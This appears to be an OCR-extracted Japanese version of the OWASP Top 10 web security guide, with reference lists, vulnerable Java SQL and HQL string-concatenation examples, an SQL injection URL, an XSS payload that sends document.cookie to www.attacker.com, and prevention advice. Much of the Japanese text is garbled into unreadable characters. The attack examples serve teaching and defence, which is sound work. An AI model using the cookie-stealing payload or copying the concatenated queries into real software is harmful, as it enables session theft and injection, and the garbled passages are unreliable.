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OWASP

* OWASP SQL Injection Prevention Cheat Sheet

¢ OWASP Query Parameterization Cheat Sheet

* OWASP Command Injection Article

* OWASP XML eXternal Entity (XXE) Reference Article
* ASVS: Output Encoding/EscAPIng Requirements (V6)
* OWASP Testing Guide: Chapter on SQL Injection Testing
D1t

e CWE Entry 77 on Command Injection

* CWE Entry 89 on SQL Injection

e CWE Entry 564 on Hibernate Injection
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String query = "SELECT * FROM accounts WHERE

m mwn,
’

custID="" + request.getParameter("id") +

A #2: ERRIC. BBT TV —arDIL—LT—H
12 *TT%JEEE’J&E?E%iT_ MEssi o T IHYZET,
(I 1£. HibernateZ T EE (HQL))

Query HQLQuery = session.createQuery(“FROM accounts
WHERE custID="" + request.getParameter("id") + "");

E?%Iﬂﬁﬁh“j\?@ﬂ:'& INDA—Aid’ % or '1'='1Ti%

http://example.com/app/accountView?id=' or '1'='1
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http://www.owasp.org/index.php/Command_Injection
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https://www.owasp.org/index.php/ESAPI
https://www.owasp.org/index.php/ESAPI
https://www.owasp.org/index.php/ESAPI
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
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LTUWLT. Y avVIDAURLIZRRESNET,

http://example.com/sale/saleitems;jsessionid=
2P00OC2JSNDLPSKHCJUN2JV?dest=Hawaii
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BE DY AVEILOYRI—REFERHEFEET,

A #2: HBRTFTVr—avIdBEYLEAALTIMEL
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1. BAGRIEELYL AV OERHEOE—-DEY, £
DHFENL, LT ZmHI=TRETY,

a) OWASP® Application Security Verification Standard
(ASVS)TJ7V2 (EEEE) &V3 (v arEHE)I2HL
TERINEIARTORIAEEYI IV EEOEY
Fmfi-9 LTI,

b) AEEDLOHDIUTINEALETT—R, ESAP
Authenticator and User APIs#Hl&L T, T2al—k,
P BEEEELTTIL,

2. A3EBELT. By avIDOERMNERELTBXSSD R
FMaZBEC ZEIZH NEZTNTTSLY,

SEEH
OWASP
COAOMBEERT 51, SHIHMEEHOVTIE

ASVS requirements areas for Authentication (V2) and Session
Management (V3)&ZSHBLTT LY,

* OWASP Authentication Cheat Sheet

e OWASP Forgot Password Cheat Sheet

* OWASP Session Management Cheat Sheet

* OWASP Development Guide: Chapter on Authentication
* OWASP Testing Guide: Chapter on Authentication
Dt

* CWE Entry 287 on Improper Authentication

e CWE Entry 384 on Session Fixation
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https://www.owasp.org/index.php/Session_Management_Cheat_Sheet
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http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/287.html
http://cwe.mitre.org/data/definitions/384.html
https://www.owasp.org/index.php/ASVS
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Authenticator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Authenticator.html
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'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo="+document.cookie</script>'
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1. RS BHOYAF, AT, B, JavaScript, CSSYURL
BEDHTMLOVTHFRAMIHAEBEKLENT—2%E
EEYC IR —TLFET, ERSINDT 2D ML
IR —TFEIFOWASP XSS Prevention Cheat SheetZ
SHBLTTSILY,

2. ROFAT(“FRITARJRR"EE) A AHEEEIEXSSBHLEIZ
BIABETMN, ELOT TV —2aVICITHHKEXF A
ANBEL=S . E2LEHEHTERYEEA AT
(TANDRIZ, ATREGRY T —2D RS, XF. T4—
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HTML Sanitizer Prolectﬁtwﬁiﬂﬂ£1t7477u¥f*ﬁ
STLTTFSLY,

4. HALEEREXSSADSFSHT=8, Content Security Policy
(CSP)ERREAL TS,

SEEH

OWASP

* OWASP XSS Prevention Cheat Sheet

* OWASP DOM based XSS Prevention Cheat Sheet

* OWASP Cross-Site Scripting Article

* ESAPI Encoder API

* ASVS: Output Encoding/EscAPIng Requirements (V6)
e OWASP AntiSamy: Sanitization Library

* Testing Guide: 1st 3 Chapters on Data Validation Testing
* OWASP Code Review Guide: Chapter on XSS Review
* OWASP XSS Filter Evasion Cheat Sheet

Z Dt

* CWE Entry 79 on Cross-Site Scripting
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http://www.owasp.org/index.php/Command_Injection
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://www.owasp.org/index.php/ESAPI
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/AntiSamy
https://www.owasp.org/index.php/Testing_for_Data_Validation
https://www.owasp.org/index.php/Reviewing_Code_for_Cross-site_scripting
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/79.html
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/AntiSamy
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project
https://www.owasp.org/index.php/Content_Security_Policy
https://www.owasp.org/index.php/Content_Security_Policy
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String query = "SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt =
connection.prepareStatement(query, ... );

pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
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OWASP

* OWASP Top 10-2007 on Insecure Dir Object References
* ESAP| Access Reference Map API

¢ ESAPI Access Control API (isAuthorizedForData().
isAuthorizedForFile(). isAuthorizedForFunction()ZZBLTTSLY)

D7 ot RENEZEHIZDUNTIL., ASVS requirements area
for Access Control (VA)ZFSHBLTTELY,
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¢ CWE Entry 639 on Insecure Direct Object References
e CWE Entry 22 on Path Traversal (A7 NEESBHREOH)



http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessReferenceMap.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/org/owasp/esapi/AccessReferenceMap.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessController.html
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/639.html
http://cwe.mitre.org/data/definitions/22.html
https://www.owasp.org/index.php/ESAPI

L 07 R0

¥4 LED
@uuunk =@ 1&&%;& _/. IIIIII.\’:I,>$;'§J£-4

snnnnnmafsn H e aul = ECRAA
I * g UITY ome

’ﬁ'ﬁi&&ék

TRE
th

FI)r—ay

BADOR M. RE

&S‘Hl%'ﬁH

ONC I
o l\\‘.%_'o-'
ﬁ_
o2

OIFBELTTE|7I7ERZELZYY

—
-

-

A—Y—LRIKREFE. TIANL X2 TAHREDIRIE. TSV T+—
E%O)%ﬁﬂlﬁz E7HIUh RE L Web*ﬂ‘—/\ TIVr—avy—n BEICHOADUILATEICEOH
AT LANAR=Y  RyFR|IL—LT—Y ARELA—FEE EA|RT LT =20 |oNB5ENHYE
y B7IUr—2a0 R8I LR ILIZHTE BENDRIETY
ENTWEWI7A N ELES  FRRBEVRTLERELLIYREHLES . B
ARELILCTALIMNGREZY I 2ROBURREELATOLEN|LT, VAT LEK
AELEICTIEALT, &Ui'cﬁ BEIERAXYF—EN\vFO|DELLBIERILE LJE&%ME%
\BIFTENATOWEVWEREE. REDIR, TIAHILNTHI|BIGELHYET
Uk A AERY—EADFELE
AT LIERERE|OBRBIZRIEET,
L=YLZEY,

T r—ay/
PRECKE ESRRKE

CDRREICEY . B RSLEWEISY AT

9., ETHOT—42
& (iﬁf&ﬁ’&b\('}'f

St R RORRER

TI)r—2av Ry DERITEST, @Y+ a)Ta

BIEMAESNTLNET M ?

1. ETOVYILDIT7HREHFRINTOET N ? I,
0S. 91D /7T r—Sa0H—iN_DBMS. 7 T4 —
23, EEJ:UQ'C(D:I KS4TSR EHET (HAcE
SBELTTAL),

2. PEGHEEBIZE, R—k H—
HER) MMV AR—ILEn, BERShTOWVEEAN?

3. TIHILRTHIUREFDNRRAT—KEREFDQEEERIC
ShTHWEEAN?

4. T7—= WIB(X RV —R MO RSB ERTERE
BLIS—Avt—SE1—HITRRLCVER AN ?
5. BAFEIL—LT—Y IAIX, Struts, Spring, ASP.NET) %>
SAT5DEFAYTABREELTOES A ?
REAEENDHALI-T TV r—awFa)T4HRED
7°|:|t7<75i3ﬂu\t\ VAT LIEEYBEWNIRIBHYET

W F)F DB
SFFA #1: HBTT)H—NIZIE. BRIV R—)LE
NEEEIVY—ILAEIBRENTELT . TI4HILEThDY

FMEESATOE LA KREFY —AQEEEEER
EHEL. 7IAIRSZRTRTAT (LT, ZolYZET

/+'27J' #2: HEF=-DOH—/\(ZL, T4|/7I‘UUZT'(/775‘
x)]ﬂ:.‘c“#’L'CL\iﬂ'/u WEEIEFEIZTALIRN)D—
MOEE 0)774»5—@%(%35?‘ WEEL., é'CO):u
NAILFElava?S2EF 9 O—RL. Fa0 XA LB /N—
ATV ZT7H#L. ETDHRZLA—FRERFLET, LT,

77°'J’7‘—/3./&,*2']7377'&7(%“1@9(B’E’HﬁﬁLi'ﬁ'

SFVFH3: TV —INEREICIE REYIL—RA DN 1—

FICRTEIN GBENLGRENBLHINET , KEEIL. R
AEEBDHDIT— It —S AAFETY .

SFUFua: RET7ZTIH—NIZF o TILTT)r—23
UHEIBRENTOWERA REBEFIX. YO TILTT)r—
avItHHELHMoNTWSEFa) T4 RIEERAL. Y—
NIZRATEET,

EX, E@\., 7AV Uk,

Rrib 75 &

FTELHBEZEIL LTOIRTEREILITHIETT,

1. REAEZBIEIOLREAVNT, @YCOy 5oy
SNAEEANBHICREERTEET . HE. QAL B
FUARBIREF, (RBRBICELD/INRT—FEHAL
T)—HBHEOHHIEBEEZLTTSWN, HILLEEZL S
s *ﬁﬁ?’éﬂ?@fﬁ%i’&rll\ﬂﬂl T5-H. CnTOt
AEHEIETRETT,

2. BTCOVINIITZRFICEHITHLE. BELUVERS

NTWAREIZN\YFEERT S LERIBICHERT D

TO+R, E-. ETHOA—KRSATSVEEDBRET

F(FAZSHBLTTILY),

gﬁm\oféf;:‘/ﬂj */F VB E IRt HER NET
r—23 7 —3%T79F

RH0 JE&*‘Z’(DTEE/\J?E#&%D?%L . EHIH

AX YU BLVEEEZEELTTSLY,

w

BSEEH
OWASP
* OWASP Development Guide: Chapter on Configuration
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¢ CWE Entry 310 on Cryptographic Issues
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* OWASP Top 10-2007 on Failure to Restrict URL Access
* ESAPI Access Control API

* OWASP Development Guide: Chapter on Authorization
* OWASP Testing Guide: Testing for Path Traversal
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* OWASP CSRF Article

* OWASP CSRF Prevention Cheat Sheet
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* ESAPI Project Home Page
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* CWE Entry 352 on CSRF
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